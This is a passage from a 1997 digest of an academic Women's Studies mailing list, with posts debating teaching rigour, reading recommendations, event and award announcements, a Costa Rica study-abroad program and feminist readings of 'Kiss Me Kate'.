approaches"" by > hastily adding articles culled from last-minute e-mail posts."" > > Or something along those lines. > Let's please read one another's words as carefully as we expect our > students to read. > > Claire O'Brien, ABD > Department of History > Southern Illinois University > Why are Claire'simagined lines not, in fact, an accurate description of the problem I was attempting to call attention to? Are people pretending this does not in fact happen? As for reading carefully, by now it seems to have become official that I did indeed suppose that the original poster was not even going to READ the material suggested to her by the list. That thought never crossed my mind and was definitely NOT in my original response. Claire's posting has helped the discussion descend further toward personal attacks. Another fine moment in the history of feminist debates about serious issues such as the nature of women's studies pedagogy. Daphne -- ====================== Daphne.Patai@spanport.umass.edu ========================================================================= Date: Thu, 18 Sep 1997 09:23:51 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Women's Presses Library Project, Mev Miller"" Subject: Re: txbk on women and work Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >From the Women's Presses Library Project: Blue Collar Goodbyes Sue Doro Papier-Mache Press Essays and poetry speak to those women who work in nontraditional jobs, and every woman who works and to every worker who lives with growing threat of plant shutdowns. 1992 0-918949-23-8 C $12.00 72pp. 1992 0-918949-22-X P $8.00 72pp. If I Had A Hammer: Women's Work in Poetry, Fiction, and Photographs Sandra Haldeman Martz, editor Papier-Mache Press 1990 0-918949-09-2 P $11.00 261pp. These titles can be found at your local feminist or independent bookstore. If you have trouble locating them, please let me know. Sincerely, Mev Miller wplp@winternet.com >Any suggestions for a introductory textbook on women and work? I am >interested in waged and unwaged work, and of course, it must be inclusive of >issues regarding race, class, age, ability, LGBT, etc... Please respond >privately. > >Renee Vaughan ----- yogidog@pioneerplanet.infi.net >""Strong People Don't Need Strong Leaders"" --- Ella Baker WOMEN'S PRESSES LIBRARY PROJECT ""...keeping women's words in circulation"" Mev Miller Project Coodinator 1483 Laurel Ave. St. Paul, MN 55104-6737 612-646-0097 612-646-1153 (fax) wplp@winternet.com ========================================================================= Date: Thu, 18 Sep 1997 09:06:58 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Terra Anderson Subject: Re: Anti oppression training in the workplace MIME-version: 1.0 Content-transfer-encoding: 7BIT Dear Cheryl, I am a BSN currently working as an Affirmative Action Officer. I have done numerous diversity work over the past 4 years at a liberal arts College. I would be happy to share ideas, thoughts, etc. with you. Please send me your e_mail address and/or phone number. You are welcome to call me @ 970-247-7665. I am on Mountain Standard Time and will be in the office Thurs. and Fri (9-19) ams. this week. Terra Anderson anderson_T@fortlewis.edu ========================================================================= Date: Thu, 18 Sep 1997 08:42:00 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Anne Carson Subject: Rainbow Workshop A law student here is looking for a paper by Elizabeth Kirberger et al. entitled ""Intersections Between Health and Human Rights: the case of female genital mutilation,"" cited as given at the Rainbow Workshop, June 25, 1995. I have not been able to identify the Rainbow Workshop. Does this ring a bell with anyone? Thanks, Anne Carson Cornell University carson@law.mail.cornell.edu ========================================================================= Date: Thu, 18 Sep 1997 12:54:35 UT Reply-To: Women's Studies List Sender: Women's Studies List From: cecilia blewer Subject: FW: Andrea Dworkin on Writing Attn: Joan Korenman -- I've just revised per your instructions. Thanks. Cecilia ---------- Sent: Wednesday, September 17, 1997 7:49 PM To: 'wmst-l@umdd.umd.edu' Subject: Andrea Dworkin on Writing Andrea Dworkin will be the speaker at the first Feminist Friday of the fall series at NOW-NYC on Friday, September 19 at 6:30pm. She will be speaking on ""Writing"". Call NOW-NYC at 212-260-4422 for more information/reservations or email at nownyc@nyct.net. Tickets are $15 and include a light supper. Special student rate with id. Reservations. Cecilia Blewer cblewer@msn.com ========================================================================= Date: Thu, 18 Sep 1997 11:44:59 -0400 Reply-To: ""jgrant@tui.edu"" Sender: Women's Studies List From: Jaime Grant Organization: The Union Institute Subject: Audre Lorde Award Audre Lorde Legacy Awards Program Expanding in its Third Year The Union Institute Center for Women is accepting applications for its third annual Audre Lorde Legacy Award and for the new Audre Lorde Fellowship for Women of Color Writer/Activists. This is the inaugural year for the Audre Lorde Fellowship which awards a month-long residency at Norcroft: A Writing Retreat for Women and a $1,000 stipend. Successful applicants will have a history of social change activism and an ongoing commitment to writing fiction, non-fiction or poetry. In keeping with Audre Lorde's Legacy, we are looking for women of color whose work breaks new ground and provides essential sustenance to women working for justice in their communities. This fellowship is made possible by a gift from the Harmony Women's Fund (MN). For the third consecutive year, the Center for Women will award its $3,000 Audre Lorde Legacy Award to an individual or organization doing exemplary work which meshes scholarship and activism for the benefit of women and/or girls. Last year's legacy award winner, Mankuba Ramalepe, was recognized for her outstanding research and organizing work with rural South African women who are creating village-based health care centers. In the program's pilot year, the Hartford, Connecticut-based Institute for Community Research was awarded the prize for its innovative mother-daughter substance abuse prevention program created by women living in Hartford's inner-city neighborhoods. Last year, thirty applicants applied for the Legacy Award addressing such issues as welfare rights organizing, fighting right-wing hate violence, organizing women through the internet, advocating for women in the trades, and developing cultural community through the arts. For more information or to receive an application (specify award or fellowship) send a self-addressed stamped envelope to: The Union Institute Center for Women 1710 Rhode Island Avenue, NW Suite 1100 Washington, DC 20036-3007 attn: Diana Onley-Campbell 800-969-6676 after September 8 you can download either application from the Center's location on The Union Institute web page at www.tui.edu/~osr. ========================================================================= Date: Thu, 18 Sep 1997 12:08:35 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""William W. Pendleton"" Subject: Re: reading carefully or selectively?? Comments: To: Jaime Grant In-Reply-To: <01BCC41C.7F4B4920.jgrant@tui.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 18 Sep 1997, Jaime Grant wrote: > Oh, Daphne > > Give it a rest. > > J. > I find messages of this type to be of little use at best and destructive of effective discussion. Daphne raised and important issue about the role of expertise and choices of materials that is especially important in newer fields that seek greater academic respect. That same issue was raised in a post about 'Mean are from..."" and it is one that deserves serious attention. I happen to believe that claims of expertise act more as territorial protection than assurance of quality in many instances. I also believe that all of us, regardless of experience and credentials are subject to using erroneous information or using information in a way that is misleading. The issue of how we can employ self-correcting and external correcting mechanisms to reduce the probability of misleading students is worthy of serious attention. In the instance, I suggest that posts that offend some sensibility be responded to substantively. I also suggest that responses should not be confined to the specific questions asked--that limits discussion too much. Finally, I do agree that we often may too little heed to the subject line. Wm W. Pendleton Department of Sociology Emory University Atlanta, Ga. 30322 socwwp@emory.edu 404 727-7524 ========================================================================= Date: Thu, 18 Sep 1997 12:16:56 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Maria Pramaggiore Subject: wasteful debates In-Reply-To: <199709181302.JAA05001@lessing.oit.umass.edu> from ""DAPHNE PATAI"" at Sep 18, 97 09:02:45 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit The question of whether teachers in colleges and universities do our homework is not one for Women's Studies faculty alone. This listserv involves people from a variety of places, all of whom are concerned with Women's Studies teaching and scholarship. Why must we honor or even address the assumption that we are automatically going to do something half-assed? Yes, some people do, I am sure. But why is that the *operative* assumption about Women's Studies faculty? Women's Studies programs are not the world's repository for half-assed scholars and teachers. They are everywhere. Impugning the competence of all Women's Studies faculty (who, according to Daphne Patai, may be in thrall to some notion of diversity and so chuck in politically appropriate readings at the drop of a hat) is not exactly what I think of as a ""feminist debate."" Maria Pramaggiore DAPHNE PATAI wrote: > > continue to fall for it. I can see it now, in a future book, something > > along the lines of "" Women's studies faculty routinely sacrifice scholarly > > rigor in the interests of political correctness. Under intense pressure to > > ""teach inclusively"", teachers prepare for ""multi-cultural approaches"" by > > hastily adding articles culled from last-minute e-mail posts."" > > Claire O'Brien, ABD > > Department of History > > Southern Illinois University > > > Why are Claire'simagined lines not, in fact, an accurate description > of the problem I was attempting to call attention to? Are people > pretending this does not in fact happen? As for reading carefully, > by now it seems to have become official that I did indeed suppose that the > original poster was not even going to READ the material suggested > to her by the list. That thought never crossed my mind and was > definitely NOT in my original response. Claire's posting has helped > the discussion descend further toward personal attacks. Another > fine moment in the history of feminist debates about serious issues > such as the nature of women's studies pedagogy. > Daphne > ====================== > Daphne.Patai@spanport.umass.edu * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Maria Pramaggiore * maria_p@unity.ncsu.edu Assistant Professor, Film Studies * Department of English * (919) 515-4138 office North Carolina State University * Raleigh, NC 27695-8105 * (919) 515-1836 fax * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ========================================================================= Date: Thu, 18 Sep 1997 12:37:16 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Jill Rothenberg Subject: Re: Chicana feminisms/assumptions Amen, Claire. ========================================================================= Date: Thu, 18 Sep 1997 12:59:00 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Patrice McDermott Subject: Re: Anti oppression training in the workplace Comments: To: Jaime Grant In-Reply-To: <01BCC417.02F47B80.jgrant@tui.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Thanks, Jaime. I was really upset by the description ""the ways in which each of us feels different and, as a result, sometimes oppressed"" for the reason you named -- a failure to do a power analysis. Each of us may occasionally _feel_ ""different"" but some of us have to power to define, enact and enforce ""norm/normal"" and the privilege to not have to live inside ""different"" on an ongoing basis. So, yeah, what's to be threatening about not challenging real privilege and the unacknowledged power that goes with it? Some of us may _feel_ oppressed (like the white males who occupy 90% of the leadership positions in the professions and industry may feel put upon because they have to not harass their staffs), but some folks really _are_ oppressed and many of us really do participate (consciously or not) in and/or benefit from oppression of others. So, that's my added $.02 (on a thread that Joan will soon tell us should be continued elsewhere). Patrice McDermott patricem@CapAccess.org On Thu, 18 Sep 1997, Jaime Grant wrote: > I want to put in my $.02 on the National Coalition Building Institute. > I've been a part of their anti-oppression trainings and I find their > approach problematic. Their exercises are non-threatening because they > fail to do a power analysis of oppression. So the message is 'we are all > hurt by oppression and we're one big human family' rather than 'those of us > in positions of power have a special responsibility to end sexism, racism, > homophobia, etc. I find their approach very undermining in settings where > an accountability process has begun with those in power - > > Suzanne Pharr's book, Homophobia, A Weapon of Sexism offers good > consciousness-raising exercises on sexism, racism and homophobia. Also > Margo Adair has a book out whose title I can't remember. > > Good luck! > > Jaime > -----Original Message----- > From: Barbara Taylor [SMTP:bt24761@UAFSYSB.UARK.EDU] > Sent: Wednesday, September 17, 1997 9:09 PM > To: WMST-L@UMDD.UMD.EDU > Subject: Re: Anti oppression training in the workplace > > The National Coalition Building Institute does good workshops and > train-the-trainer sessions that start from the ways in which each of us > feels different and, as a result, sometimes oppressed. Their exercises are > non-threatening but powerful. Theor phone # is (202) 785-9400. ========================================================================= Date: Thu, 18 Sep 1997 10:08:43 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Thomason Subject: Male/Female Communication Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" I've finally remembered a book I wanted to recommend in response to the discussion of ""....Women Are From Venus."" I have not read this one but have read, and not appreciated, Deborah Tannen's earlier work on male/female communication. A less pop-psych book, and one with more political analysis, is Robin Lakoff's Language and Woman's Place, published in 1975. I think she has some more recent work out on the subject as well. I would feel very comfortable using this in a course and, alas, it still seems fairly contemporary. Jackie ========================================================================= Date: Thu, 18 Sep 1997 13:11:53 -0400 Reply-To: ""Leah C. Ulansey"" Sender: Women's Studies List From: ""Leah C. Ulansey"" Subject: Re: reading carefully or selectively?? In-Reply-To: <199709181302.JAA05001@lessing.oit.umass.edu> MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII > > Claire wrote:> > > I can see it now, in a future book, something > > along the lines of "" Women's studies faculty routinely sacrifice scholarly > > rigor in the interests of political correctness. Under intense pressure to > > ""teach inclusively"", teachers prepare for ""multi-cultural approaches"" by > > hastily adding articles culled from last-minute e-mail posts."" > > > >Then Daphne wrote: > Why are Claire's imagined lines not, in fact, an accurate description > of the problem I was attempting to call attention to? Are people > pretending this does not in fact happen? As for reading carefully, > by now it seems to have become official that I did indeed suppose that the > original poster was not even going to READ the material suggested > to her by the list. That thought never crossed my mind and was > definitely NOT in my original response. Claire's posting has helped > the discussion descend further toward personal attacks. Another > fine moment in the history of feminist debates about serious issues > such as the nature of women's studies pedagogy. And I'd like to add: I was horrified when one of my famous, tenured, non-feminist literature professors did precisely what we are decrying as the ultimate in shoddy teaching: he handed his TAs an article and told us to summarize it for the undergraduates JUST TO TAKE UP CLASS TIME while he went off to a conference. He had a reputation to protect, and yet he knew he could get away with this, and more. The article, believe it or not, was not even about the novel the students were reading for class: it was irrelevant to the course and completely inappropriate for freshmen. Graduate students in our department were ROUTINELY told to spend as little time on class prep as possible, lest we develop reputations as teachers rather than scholars (supposedly the kiss of death). Somehow, it was assumed that teaching and scholarship never go together! Finally, in my experience, much non-feminist scholarship distorts its subject matter by taking the prof's tiny, myopic research specialty as the focus and never conveying ""the big picture"" to the students. I have found feminist discussion of pedagogy refreshing because, unlike the cynical careerists who are often rewarded by the system, the feminists at least seem to CARE about the rigour, balance and effectiveness of classroom presentation. My non-feminist profs were notorious for neglecting undergraduate education altogether: they tended to believe it was ""beneath them"" to CONNECT their advanced scholarship with the basic questions vital for beginners (often the ""so what?"" ""why is this important?"" questions). My point is that if we criticize ourselves (multicultural feminists) for integrating new material too quickly--and we integrate this new material not out of some compulsion to be p.c. but in order to achieve a more accurate, less biased presentation of the subject matter--we should also remember that patriarchal scholarship is a very mixed bag with some useful models and some very misleading models of what ""solid scholarship"" must be. I agree with William's comment about the ""territorial"" nature of expertise, ie. expertise does not equal quality control. Besides dealing with new material (which throws our ""authority"" off balance) and overcoming our own biases, we must constantly pick and choose our methods, without clear-cut models OR institutional recognition when we do manage to ""get it right."" Why do some of us have to assimilate new material rapidly in order not to pass on biases, distortions and omissions to our students? In my case, it's because the material was excluded from the curriculum when I was receiving my ""higher education."" The educator must be educated somehow, and the risks of that involve both ""growing pains"" and the possible loss of one's sense of authority, one's reputation for scholarly rigour and sometimes one's faith in the university itself as a site of real education. My experience has been that the university rewards the reproduction of knowledge and disciplinary continuity. Its rituals and stability are threatened by the production of genuinely new knowledge and especially by the recognition of new (hitherto excluded), unauthorized SOURCES of knowledge who may be outside its control and who may spoil its control and monopoly on knowledge. (I am drawing on the ideas of one of my favorite patriarchs, Walter Benjamin.) At the same time, the university, as a liberal institution, must at least pay lip service to new knowledge. So multicultural feminism is tolerated but devalued, so it can be kept under control. Multicultural feminism is a work-in-progress. I, too, am critical of hasty or superficial assimilation of new material, but I also know it is not something of which feminists are uniquely guilty (as Maria pointed out). And for feminists, it is a result of the ""in-progress"" nature of the beast. There must be a way to critique that work-in-progress without participating in the devaluation of the work itself. Finally, I agree with Vera that we also need to look at the institutional, social and personal conditions that might speed up or promote that work-in-progress such as collaborative teaching and departments that really DO have, for instance, a Chicana specialist. Many departments are hopelessly backward in hiring practices, and many of us have no say in hiring. So we have to invite outside speakers, which is not necessarily a bad thing, because it means we can be innovative. In fact, one constructive idea might be to compile a regional list of activists, artists and other speakers with the time and desire to visit our classrooms. Sometimes I'm lucky enough to have the name of a good contact or potential speaker (in which case I usually have a great class that really inspires the students); but sometimes I'm clueless about where to find an outside speaker to visit my class. Any suggestions? A databank of potential speakers might be very helpful. Does such a thing exist? Many apologies for this lengthy post... Leah Ulansey leou@jhunix.hcf.jhu.edu ========================================================================= Date: Thu, 18 Sep 1997 11:40:47 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Terra Anderson Subject: Re: Rainbow Workshop MIME-version: 1.0 Content-transfer-encoding: 7BIT Anne, RAINBO (with O being the symbol for women) is ""Research Action In- formation Network for Bodily Integrity of Women"" is a non profit registered in the state of New York. I have a publication they published called, ""FGM, a call for Global Action"" by Nahid Toubia. Copies available from Women, Ink, phone:212-687-8633. I can not find a specific reference for the article you mentioned, but hopefully this will be of assistance to your student. Sincerely, Terra Anderson ========================================================================= Date: Thu, 18 Sep 1997 11:41:13 +0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Monteverde Institute Subject: Gender/ Women's Studies Courses in Costa Rica 1998 Comments: To: ddrake@mylink.net, jjm6@vms.cis.pitt.edu, cflbs1@eiu.edu, Marybeth.Foushee@NAU.EDU, bpowell@MHC.EDU, emchaney@blue.weeg.uiowa.edu, database.genderinn@uni-koeln.de, mwilson@WPPOST.DEPAUL.EDU, MhIzzi@aol.com, Maureen.Dyer@UNISA.EDU.AU, orisha@siu.edu, jpavlon@ACC.FAU.EDU, dleland@ACC.FAU.EDU, kmullark@cariari.ucr.ac.cr, kertes@scf-fs.usc.edu, Ellen_Rooney@brown.edu, ncfr3989@ncfr.com, wilkieja@martin.luther.edu, eepierno@artsci.wustl.edu, wstprog@acpub.duke.edu, sieburth@acpub.duke.edu, mwhfame@leslie.k12.mi.us, cecisard@ufba.br, cd33@cornell.edu, avallone@mhv.net, Chloeb@Mail.UTexas.edu, pienta@teetot.acusd.edu, MONTE-L@SHSU.edu, funnybonesexpress@msn.com, msaks@hotmail.com, rstevenson@umbsky.cc.umb.edu, sodonnel@u.washington.edu, EAIE-L@NIC.SURFNET.NL, lmmorgan@mhc.mtholyoke.edu, jtrostle@mhc.mtholyoke.edu, mlawton@ro.com, L_Burlingame@acad.fandm.edu, jlowther@sewanee.edu, ILeitngr@ix.netcom.com Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable ***************** PLEASE POST WIDELY ***************** GENDER/ WOMEN'S STUDIES PROGRAM ABROAD IN COSTA RICA - 1998 ""Community Development and Social Change in Costa Rica - The Evolving Role of Women in the Development of a Rural Costa Rican Region"" Second Annual Course Program Instituto Monteverde (IMV) Monteverde, Costa Rica Dates for 1998: Semester Course: Feb. 1 - May 23 Summer Session: June 25 - August 9 Application Deadlines: Semester Course: November 28, 1997 Summer Session: April 15, 1998 Courses are limited to 12 students each session. Academic Credit: Semester Course: 14 Semester Credit Hours (Spanish 3; Fieldwork Methodology 3; Area/Gender/Women's Studies 8) Summer Session: 6 Semester Credit Hours (2Sp; 1Meth; 3A/G/WStd.) Students may negotiate academic credit through their own university. The Location Nestled high on the Pacific slope of the Tilaran Mountains in Northwestern Costa Rica and surrounded by the tropical cloud forests of the Bosque Eterno de los Ni=F1os and the Monteverde Reserve, the Instituto Monteverde (IMV) is a non-profit educational association specializing in socio-cultural and natural history immersion. The IMV was initiated in 1986 by the people of Monteverde to administer cultural, scientific, and educational programs and to share Monteverde's natural beauty and biological richness with the rest of the world. Our students are given the opportunity to interact with local communities through homestays and field research, and to evaluate the intricacies of balancing conservation and development. The IMV is a community leader in providing technical and financial support to women's cooperatives, schools, and local programs benefiting education and the arts. The Institute also operates a Vida =46amiliar (Family Life) Program designed to support local families in the areas of integral health, prevention of domestic violence, and youth development. We know little of the original indigenous Maleku population in this region. The area was first settled by Costa Rican subsistence farmers during the 1920's and 1930's. In 1951 a group of North American Quakers came to Monteverde in search of a peaceful rural life, having chosen Costa Rica because of its earlier abolition of the army. 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Students will be immersed in this social setting and, through their homestays and fieldwork, will observe and collect women's experiences through oral history--some already written down by the women themselves--considering the diverse agricultural, technological (transportation, production, communications, household equipment), political, economic, social, cultural, and psychological aspects of this change. Through their research, they will serve the region's communities by documenting women's experiences in all these areas. Over time, this documentation will take the form of women's life stories for adults, school books for children, bi-lingual plays illustrating conflictive issues in women's lives at different points in time, and of contributions to the local historical collection. The focus on women does not mean that students will ignore men's experiences, as men's recollections often provide additional insight into women's lives and the development process. Course Description Students will acquire theoretical knowledge on the above-mentioned aspects of rural development in Costa Rica, assessed within the current debate of what constitutes ""development,"" and within the on-going exploration of changes in gender roles. They will participate in the process as observers, recorders, and collectors, and with their insights will also share in shaping future course format. In addition to witnessing women's experiences, students will develop an understanding of a culture that is undergoing profound change under the impact of globalization. In turn, community members, women in particular, will benefit from the students' interest and respect for their experiences and, more tangibly, from the planned documentation suggested above. Course Themes The Debate about the Nature of Development * Changes in the context of development and of women's role in it, particularly with regard to gender analysis within rural development= ========================================================================= Date: Thu, 18 Sep 1997 12:56:12 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Stacey Short Subject: Re: Ottinger Films Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" bonjour, There are many sites devoted to Ulrike Ottinger on the World Wide Web, and many include links to other sites where you can get the information you are looking for. One good place to start is PopcornQ, which lists distributor information, including web addresses, for several Ottinger films. You can get to PopcornQ at the following address: http://www.planetout.com/pno/popcornq bon chance! Stacey Short 220C Blocker Dept. of English Texas A&M University College Station, TX scs9332@acs.tamu.edu ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Where are we going, and what am I doing in this handbasket? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ========================================================================= Date: Thu, 18 Sep 1997 14:16:50 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Rosa Maria Pegueros Subject: Latina scholars (Was: 'reading carefully...') In response to the recent thread about Chicana scholars, I would like to alert you to a conference taking place Oct. 3-5, at Southern Connecticut State University in New Haven: Latina Visions for Transforming the Americas: Perspectivas de la Mujer Latina en la transformacion de las Americas. Among the scholars who will be speaking or presenting their work are: Edna Acosta- Belen Ruth Behar Asuncion Lavrin Iris Morales Mayra Santos Glaisma Perez-Silva Naomi Ayala ... I will be presenting a paper called _The Ricky Ricardo Syndrome: Samba Latina in a Black and White Discussion_ (the subject is the polarization of race relations in the U.S.) To register: Contact the SCSU Women Studies Program EN 271 Southern Connecticut State University 501 Crescent St. New Haven, CT 06515 FAX: (203) 392-6723 Phone: (203) 392-6133 (English) (203) 392-6754 (Spanish) e-mail: womenstudies@scsu.ctstateu.edu website: http://scsu. ctstateu.edu/ womenstudies/wmst.html / (a tilde goes in that space but I don't have one) I hope to meet some of you there! Rosie ____________________________________________________________ Rosa Maria Pegueros pegueros@uriacc.uri.edu University of Rhode Island Department of History phone: (401) 874-4092 80 Upper College Road, Suite 3 fax: (401) 874-2595 Kingston, RI 02881 ""Qui me amat, amat et canem meum."" ========================================================================= Date: Thu, 18 Sep 1997 14:42:51 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Rhoda Unger Subject: Re: Male/Female Communication An excellent critique of paradigms involving male/female differences in communication can be found in a new book by Mary Crawford called ""Talking difference"" published by London Sage in 1996. She discusses Tannen's work extensively and, by extension, the simplification of that work by writers such as Gray. I recommend the book highly for people in a variety of fields. It is also simple and short enough to be used as a supplementary text in various courses on women. Rhoda Unger ungerr@alpha.montclair.edu ========================================================================= Date: Thu, 18 Sep 1997 13:37:37 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Sandra Donaldson Subject: ""Kiss Me Kate"" MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII ""Kiss Me Kate"" is going to be staged here next month, and I'd like to ask the list if they know of (or are themselves one) scholars who address feminist issues in musical comedy. I usually just don't attend entertainments that involve hitting and subduing (""A Funny Thing Happened . ."" wasn't the least bit funny), but this is being put on by a friend and will include discussions afterward. This is also, then, a request for suggestions about how to approach issues raised by the play when folks gather afterwards (outrage and boycotting aren't options for me this time). Sandy Donaldson donaldso@badlands.nodak.edu ========================================================================= Date: Thu, 18 Sep 1997 16:05:24 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Mary Faith Pankin Subject: favnet MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII A student would like information on subscribing to this list which she thinks stands for feminists against violence, or to other lists about violence against women and battered women's shelter. You may reply to me privately and I can forward the information to her. Many thanks. Mary Faith. Mary Faith Pankin, Cataloger/Subject Specialist, Gelman Library George Washington University, 2130 H St. N.W., Washington, D.C. 20052 Phone: 202-994-6848 FAX: 202-994-1340 Internet: mfpankin@gwis2.circ.gwu.edu ========================================================================= Date: Thu, 18 Sep 1997 14:11:25 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: MARGARET BARBER Subject: Re: ""Kiss Me Kate"" In-Reply-To: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sandra, If I remember correctly, only a portion of Lerner and Loewe's musical comedy _Kiss Me, Kate_ is based on Shakespeare's _The Taming of the Shrew,_ which has been staged with or without hitting, although other kinds of abuse are written into the script (e.g., cursing, verbal abuse, public humiliation, food and sleep deprivation, among others). Although the Shakespeare's script has been pretty much sanitized for use in _Kiss Me, Kate_ and some of the most obnoxious material omitted, it might be worthwhile to discuss both plays in the light of the questions raised by Linda Bamber about the relationship between Katherine and Petruchio in _Comic Women, Tragic Men: A Study of Gender and Genre in Shakespeare_ (Stanford UP, l982); Germaine Greer in _The Female Eunuch_; and Coppelia Kahn, ""_The Taming of the Shrew_: Shakespeare's Mirror of Marriage"" in _Modern Language Studies_5, (1975), p. 98. Discussion of the social/economic context of Shakespeare's play, and of what the selection (and omissions or change in emphasis) of portions of it for the 20th century musical might suggest about continued interest in the issues that intrigued Shakespeare's audience, might make for a lively post-play conversation. It would be nice if you could assume the group's familiarity with _The Taming of the Shrew_, but if not, well-written program notes might supply enough info for a basis of comparison. One thing most people forget about Shakespeare's play is that it was, like the _Taming of the Shrew_ performed in _Kiss Me, Kate_, a play within a play. Shakespeare's version has two initial Induction scenes (not often performed) in which Christopher Sly, a drunken tinker, is presented with the play as a joke, part of an effort to make him believe he is really a ""gentleman,"" and also to delay his efforts to sleep with his make-believe wife, who is really a page pretending to be his spouse. Just how one might interpret the relationship of the Induction to play within in the play (_Taming of the Shrew_) is hard to determine, partly because in some versions of the play, Shakespeare did not return to the Induction at the end, but let Kate's final speech on the husband-wife relationship in V.ii. stand as the ""last word"" of the play. In the same way, the relationship between the very long frame narrative in Lerner and Loewe and the almost peripheral _Taming_ story (aside from the great songs!) might be discussed. What is being valued, or is at least focused on here? The career of the singer in the frame story playing Kate in the performance story? Her relationship to the men in her own life? What kind of relationship? and so on. Is _Kiss Me, Kate_ really about _The Taming of the Shrew_ after all, or primarily about a performance of it as a vehicle for furthering a singer's career? and so on. Sorry to be so long winded. Shakespeare's _Shrew_ is one of my all-time favorite plays to teach in a feminist classroom. Hope this all works out for you. Margaret Barber On Thu, 18 Sep 1997, Sandra Donaldson wrote: > ""Kiss Me Kate"" is going to be staged here next month, and I'd > like to ask the list if they know of (or are themselves one) scholars > who address feminist issues in musical comedy. > I usually just don't attend entertainments that involve hitting > and subduing (""A Funny Thing Happened . ."" wasn't the least bit funny), > but this is being put on by a friend and will include discussions > afterward. This is also, then, a request for suggestions about how to > approach issues raised by the play when folks gather afterwards (outrage > and boycotting aren't options for me this time). > > > Sandy Donaldson > > donaldso@badlands.nodak.edu > ========================================================================= Date: Thu, 18 Sep 1997 14:35:18 +0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Monteverde Institute Subject: Gender/ Women's Studies Courses in Costa Rica 1998 Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable It appears the original posting for the Costa Rican course offerings was onl= y partially transmitted, so we are trying again. ***************** PLEASE POST WIDELY ***************** GENDER/ WOMEN'S STUDIES PROGRAM ABROAD IN COSTA RICA - 1998 ""Community Development and Social Change in Costa Rica - The Evolving Role of Women in the Development of a Rural Costa Rican Region"" Second Annual Course Program Instituto Monteverde (IMV) Monteverde, Costa Rica Dates for 1998: Semester Course: Feb. 1 - May 23 Summer Session: June 25 - August 9 Application Deadlines: Semester Course: November 28, 1997 Summer Session: April 15, 1998 Courses are limited to 12 students each session. Academic Credit: Semester Course: 14 Semester Credit Hours (Spanish 3; Fieldwork Methodology 3; Area/Gender/Women's Studies 8) Summer Session: 6 Semester Credit Hours (2Sp; 1Meth; 3A/G/WStd.) Students may negotiate academic credit through their own university. The Location Nestled high on the Pacific slope of the Tilaran Mountains in Northwestern Costa Rica and surrounded by the tropical cloud forests of the Bosque Eterno de los Ni=F1os and the Monteverde Reserve, the Instituto Monteverde (IMV) is a non-profit educational association specializing in socio-cultural and natural history immersion. The IMV was initiated in 1986 by the people of Monteverde to administer cultural, scientific, and educational programs and to share Monteverde's natural beauty and biological richness with the rest of the world. Our students are given the opportunity to interact with local communities through homestays and field research, and to evaluate the intricacies of balancing conservation and development. The IMV is a community leader in providing technical and financial support to women's cooperatives, schools, and local programs benefiting education and the arts. The Institute also operates a Vida =46amiliar (Family Life) Program designed to support local families in the areas of integral health, prevention of domestic violence, and youth development. We know little of the original indigenous Maleku population in this region. The area was first settled by Costa Rican subsistence farmers during the 1920's and 1930's. In 1951 a group of North American Quakers came to Monteverde in search of a peaceful rural life, having chosen Costa Rica because of its earlier abolition of the army. The region now includes three more densely populated neighboring communities (Santa Elena, Cerro Plano, Monteverde) and about fifteen outlying villages that economically depend upon the center. The communities are enriched by their multicultural character that is enhanced by scientists, artists, and visitors who come to study or enjoy the natural splendor of the area. Nowadays, local people live by coffee cultivation, dairy farming and work in the cheese factory, arts and crafts, tourism, and participation in grassroots organizations. The Academic Program The courses are part of a 10-year project to create a data bank that recuperates and collects the experiences of women in the development of Costa Rica's Monte Verde region. The 70 years since the initial settlement in the region have brought profound changes to women's lives that are illustrating the overall change that globalization has been causing and continues to provoke. Students will be immersed in this social setting and, through their homestays and fieldwork, will observe and collect women's experiences through oral history--some already written down by the women themselves--considering the diverse agricultural, technological (transportation, production, communications, household equipment), political, economic, social, cultural, and psychological aspects of this change. Through their research, they will serve the region's communities by documenting women's experiences in all these areas. Over time, this documentation will take the form of women's life stories for adults, school books for children, bi-lingual plays illustrating conflictive issues in women's lives at different points in time, and of contributions to the local historical collection. The focus on women does not mean that students will ignore men's experiences, as men's recollections often provide additional insight into women's lives and the development process. Course Description Students will acquire theoretical knowledge on the above-mentioned aspects of rural development in Costa Rica, assessed within the current debate of what constitutes ""development,"" and within the on-going exploration of changes in gender roles. They will participate in the process as observers, recorders, and collectors, and with their insights will also share in shaping future course format. In addition to witnessing women's experiences, students will develop an understanding of a culture that 